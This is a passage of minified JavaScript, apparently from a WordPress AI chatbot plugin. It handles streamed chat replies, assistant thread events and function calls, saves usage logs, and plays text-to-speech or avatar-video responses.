= result.error[0].message; } else { error_generated = JSON.stringify(result.error); } if(error_generated === undefined) { error_generated = result.error.message; } if(error_generated === undefined) { error_generated = result.error; } console.log('Error while processing request(1): ' + error_generated); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); } else { if(result.completion !== undefined) { content_generated = result.completion; } else if(result.delta.text !== undefined) { content_generated = result.delta.text; } else { console.log('Unrecognized format: ' + result); content_generated = ''; } } var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response_data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; response_data += aiomatic_nl2br(content_generated); if((content_generated === '\n' || content_generated === ' \n' || content_generated === '.\n' || content_generated === '\n\n' || content_generated === '.\n\n' || content_generated === '"\n') && aiomatic_response_events > 0 && currentContent !== ''){ if(!aiomatic_newline_before) { aiomatic_newline_before = true; jQuery('#aiomatic_chat_history' + instance).html(currentContent + '<br /><br />'); } } else if(content_generated === '\n' && aiomatic_response_events === 0 && currentContent === ''){ } else { aiomatic_newline_before = false; aiomatic_response_events += 1; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); } } if(count_line >= aiomatic_limitLines) { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0' && error_generated == '') { var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: aiomatic_chat_ajax_object.thread_id, x_input_text: save_persistent, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } if(error_generated == '') { jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_record_user_usage', nonce: aiomatic_chat_ajax_object.persistentnonce, user_id: user_id, input_text: input_text, response_text: response_data, model: model, temp: temp, vision_file: vision_file, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day }, success: function() { }, error: function(error) { console.log('Error while saving user data: ' + error.responseText); }, }); } if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } var has_speech = false; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(error_generated == '' && !jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-video">' + videoURL + '</div>'); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response_data); jQuery('#openai-chat-response' + instance).html(' '); aiomatic_generator_working = false; } } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } if(has_speech === false) { if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } } } if(ai_assistant_id != '') { var run_id = ''; var func_calls = 0; var response_data = ''; var hasFinishReason = false; var content_generated = ''; var th_id = ''; eventGenerator.addEventListener('thread.created', threadCreatedEventHandler); eventGenerator.addEventListener('thread.run.created', threadRunCreatedEventHandler); eventGenerator.addEventListener('thread.run.queued', threadRunQueuedEventHandler); eventGenerator.addEventListener('thread.run.in_progress', threadRunInProgressEventHandler); eventGenerator.addEventListener('thread.run.requires_action', threadRunRequiresActionEventHandler); eventGenerator.addEventListener('thread.run.completed', threadRunCompletedEventHandler); eventGenerator.addEventListener('thread.run.failed', threadRunFailedEventHandler); eventGenerator.addEventListener('thread.run.cancelling', threadRunCancellingEventHandler); eventGenerator.addEventListener('thread.run.cancelled', threadRunCancelledEventHandler); eventGenerator.addEventListener('thread.run.expired', threadRunExpiredEventHandler); eventGenerator.addEventListener('thread.run.step.created', threadRunStepCreatedEventHandler); eventGenerator.addEventListener('thread.run.step.in_progress', threadRunStepInProgressEventHandler); eventGenerator.addEventListener('thread.run.step.delta', threadRunStepDeltaEventHandler); eventGenerator.addEventListener('thread.run.step.completed', threadRunStepCompletedEventHandler); eventGenerator.addEventListener('thread.run.step.failed', threadRunStepFailedEventHandler); eventGenerator.addEventListener('thread.run.step.cancelled', threadRunStepCancelledEventHandler); eventGenerator.addEventListener('thread.run.step.expired', threadRunStepExpiredEventHandler); eventGenerator.addEventListener('thread.message.created', threadMessageCreatedEventHandler); eventGenerator.addEventListener('thread.message.in_progress', threadMessageInProgressEventHandler); eventGenerator.addEventListener('thread.message.delta', threadMessageDeltaEventHandler); eventGenerator.addEventListener('thread.message.incomplete', threadMessageIncompleteEventHandler); eventGenerator.addEventListener('thread.message.completed', threadMessageCompletedEventHandler); eventGenerator.addEventListener('error', function(e) { var data = JSON.parse(e.data); console.error('Stream Error:', data); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false;if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } }); eventGenerator.addEventListener('done', function(e) { console.log('Stream ended'); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false;if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } }); } else { eventGenerator.onmessage = handleMessageEvent; eventGenerator.addEventListener('content_block_delta', handleContentBlockDelta); eventGenerator.addEventListener('message_stop', handleMessageStopEvent); eventGenerator.addEventListener('completion', handleCompletionEvent); } function handleMessageStopEvent(e) { aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } function threadCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Thread created:', data); } function threadRunCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run created:', data); run_id = data.id; th_id = data.thread_id; } function threadRunQueuedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run queued:', data); } function threadRunInProgressEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run in_progress:', data); } function threadRunRequiresActionEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run requires_action:', data); if (func_calls > 0) { jQuery.ajax({ type: 'POST', async: false, url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_call_ai_function', nonce: aiomatic_chat_ajax_object.persistentnonce, func_call: func_call }, success: function(result) { result = JSON.parse(result); if(result.scope == 'fail') { console.log('Error while calling parsing functions: ' + result); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the request, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } return; } else { if(result.scope == 'response') { console.log('Recalling AI stream chat'); if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } if(aiomatic_chat_ajax_object.enable_god_mode == '') { aiomatic_chat_ajax_object.enable_god_mode = 'off'; } var internet_permission = aiomatic_chat_ajax_object.internet_access; if(jQuery('#aiomatic-globe-overlay' + instance).hasClass('aiomatic-globe-bar')) { internet_permission = 'disabled'; } eventURL = aiomatic_chat_ajax_object.stream_url; if(pdf_data != '') { eventURL += '&pdf_data=' + encodeURIComponent(pdf_data); } if(file_data != '') { eventURL += '&file_data=' + encodeURIComponent(file_data); } if(aiomatic_chat_ajax_object.user_token_cap_per_day != '') { eventURL += '&user_token_cap_per_day=' + encodeURIComponent(aiomatic_chat_ajax_object.user_token_cap_per_day); } if(aiomatic_chat_ajax_object.user_id != '') { eventURL += '&user_id=' + encodeURIComponent(aiomatic_chat_ajax_object.user_id); } if(aiomatic_chat_ajax_object.frequency != '') { eventURL += '&frequency=' + encodeURIComponent(aiomatic_chat_ajax_object.frequency); } if(aiomatic_chat_ajax_object.presence != '') { eventURL += '&presence=' + encodeURIComponent(aiomatic_chat_ajax_object.presence); } if(aiomatic_chat_ajax_object.top_p != '') { eventURL += '&top_p=' + encodeURIComponent(aiomatic_chat_ajax_object.top_p); } if(aiomatic_chat_ajax_object.temp != '') { eventURL += '&temp=' + encodeURIComponent(aiomatic_chat_ajax_object.temp); } if(aiomatic_chat_ajax_object.model != '') { eventURL += '&model=' + encodeURIComponent(aiomatic_chat_ajax_object.model); } if(ai_assistant_id != '') { eventURL += '&assistant_id=' + encodeURIComponent(ai_assistant_id); } if(th_id != '') { eventURL += '&thread_id=' + encodeURIComponent(th_id); } if(remember_string != '') { eventURL += '&remember_string=' + encodeURIComponent(remember_string); } if(is_modern_gpt != '') { eventURL += '&is_modern_gpt=' + encodeURIComponent(is_modern_gpt); } if(internet_permission != '') { eventURL += '&internet_access=' + encodeURIComponent(internet_permission); } if(aiomatic_chat_ajax_object.embeddings != '') { eventURL += '&embeddings=' + encodeURIComponent(aiomatic_chat_ajax_object.embeddings); } if(user_question != '') { eventURL += '&user_question=' + encodeURIComponent(user_question); } if(enable_god_mode != '') { eventURL += '&enable_god_mode=' + encodeURIComponent(enable_god_mode); } eventURL += '&input_text=' + encodeURIComponent(input_text); if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } var fnrez = JSON.stringify(result.data); eventURL += '&functions_result=' + encodeURIComponent(fnrez); if(run_id != '') { eventURL += '&run_id=' + encodeURIComponent(run_id); } if(eventURL.length > 2080) { console.log('URL too long, using alternative processing method'); var unid = "id" + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);; aiChatUploadDataomatic(aiomatic_chat_ajax_object, unid, input_text, remember_string, user_question, fnrez); eventURL = aiomatic_chat_ajax_object.stream_url; eventURL += '&input_text=0&remember_string=0&user_question=0&functions_result=0'; if(pdf_data != '') { eventURL += '&pdf_data=' + encodeURIComponent(pdf_data); } if(file_data != '') { eventURL += '&file_data=' + encodeURIComponent(file_data); } if(aiomatic_chat_ajax_object.user_token_cap_per_day != '') { eventURL += '&user_token_cap_per_day=' + encodeURIComponent(aiomatic_chat_ajax_object.user_token_cap_per_day); } if(aiomatic_chat_ajax_object.user_id != '') { eventURL += '&user_id=' + encodeURIComponent(aiomatic_chat_ajax_object.user_id); } if(aiomatic_chat_ajax_object.frequency != '') { eventURL += '&frequency=' + encodeURIComponent(aiomatic_chat_ajax_object.frequency); } if(aiomatic_chat_ajax_object.presence != '') { eventURL += '&presence=' + encodeURIComponent(aiomatic_chat_ajax_object.presence); } if(aiomatic_chat_ajax_object.top_p != '') { eventURL += '&top_p=' + encodeURIComponent(aiomatic_chat_ajax_object.top_p); } if(aiomatic_chat_ajax_object.temp != '') { eventURL += '&temp=' + encodeURIComponent(aiomatic_chat_ajax_object.temp); } if(aiomatic_chat_ajax_object.model != '') { eventURL += '&model=' + encodeURIComponent(aiomatic_chat_ajax_object.model); } if(ai_assistant_id != '') { eventURL += '&assistant_id=' + encodeURIComponent(ai_assistant_id); } if(th_id != '') { eventURL += '&thread_id=' + encodeURIComponent(th_id); } if(is_modern_gpt != '') { eventURL += '&is_modern_gpt=' + encodeURIComponent(is_modern_gpt); } if(internet_permission != '') { eventURL += '&internet_access=' + encodeURIComponent(internet_permission); } if(aiomatic_chat_ajax_object.embeddings != '') { eventURL += '&embeddings=' + encodeURIComponent(aiomatic_chat_ajax_object.embeddings); } if(enable_god_mode != '') { eventURL += '&enable_god_mode=' + encodeURIComponent(enable_god_mode); } if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } if(run_id != '') { eventURL += '&run_id=' + encodeURIComponent(run_id); } eventURL += '&bufferid=' + encodeURIComponent(unid); } func_call = { init_data: { pdf_data: pdf_data, file_data: file_data, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day, user_id: aiomatic_chat_ajax_object.user_id, frequency: aiomatic_chat_ajax_object.frequency, presence: aiomatic_chat_ajax_object.presence, top_p: aiomatic_chat_ajax_object.top_p, temp: aiomatic_chat_ajax_object.temp, model: aiomatic_chat_ajax_object.model, input_text: input_text, remember_string: remember_string, is_modern_gpt: is_modern_gpt, user_question: user_question }, }; try { eventGenerator = new EventSource(eventURL); } catch(e) { console.log('Error in Event startup: ' + e); } eventGenerator.onerror = handleErrorEvent; hasFinishReason = false; eventGenerator.addEventListener('thread.created', threadCreatedEventHandler); eventGenerator.addEventListener('thread.run.created', threadRunCreatedEventHandler); eventGenerator.addEventListener('thread.run.queued', threadRunQueuedEventHandler); eventGenerator.addEventListener('thread.run.in_progress', threadRunInProgressEventHandler); eventGenerator.addEventListener('thread.run.requires_action', threadRunRequiresActionEventHandler); eventGenerator.addEventListener('thread.run.completed', threadRunCompletedEventHandler); eventGenerator.addEventListener('thread.run.failed', threadRunFailedEventHandler); eventGenerator.addEventListener('thread.run.cancelling', threadRunCancellingEventHandler); eventGenerator.addEventListener('thread.run.cancelled', threadRunCancelledEventHandler); eventGenerator.addEventListener('thread.run.expired', threadRunExpiredEventHandler); eventGenerator.addEventListener('thread.run.step.created', threadRunStepCreatedEventHandler); eventGenerator.addEventListener('thread.run.step.in_progress', threadRunStepInProgressEventHandler); eventGenerator.addEventListener('thread.run.step.delta', threadRunStepDeltaEventHandler); eventGenerator.addEventListener('thread.run.step.completed', threadRunStepCompletedEventHandler); eventGenerator.addEventListener('thread.run.step.failed', threadRunStepFailedEventHandler); eventGenerator.addEventListener('thread.run.step.cancelled', threadRunStepCancelledEventHandler); eventGenerator.addEventListener('thread.run.step.expired', threadRunStepExpiredEventHandler); eventGenerator.addEventListener('thread.message.created', threadMessageCreatedEventHandler); eventGenerator.addEventListener('thread.message.in_progress', threadMessageInProgressEventHandler); eventGenerator.addEventListener('thread.message.delta', threadMessageDeltaEventHandler); eventGenerator.addEventListener('thread.message.incomplete', threadMessageIncompleteEventHandler); eventGenerator.addEventListener('thread.message.completed', threadMessageCompletedEventHandler); eventGenerator.addEventListener('error', function(e) { var data = JSON.parse(e.data); console.error('Stream Error:', data); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false;if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } }); eventGenerator.addEventListener('done', function(e) { console.log('Stream ended'); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false;if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } }); } else { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx = '<div class="ai-bubble ai-other">' + result.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx = '</div>'; if(result.scope == 'user_message') { hasFinishReason = true; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { console.log('Unknown scope returned: ' + result); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the request, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } return; } } } }, error: function(error) { console.log('Error while calling AI functions: ' + error.responseText); hasFinishReason = true; jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the request, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } return; }, }); } } function threadRunCompletedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run completed:', data); eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0' && error_generated == '') { var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: aiomatic_chat_ajax_object.thread_id, x_input_text: save_persistent, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } if(error_generated == '') { jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_record_user_usage', nonce: aiomatic_chat_ajax_object.persistentnonce, user_id: user_id, input_text: input_text, response_text: response_data, model: model, temp: temp, vision_file: vision_file, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day }, success: function() { }, error: function(error) { console.log('Error while saving user data: ' + error.responseText); }, }); } if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } var has_speech = false; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(error_generated == '' && !jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); 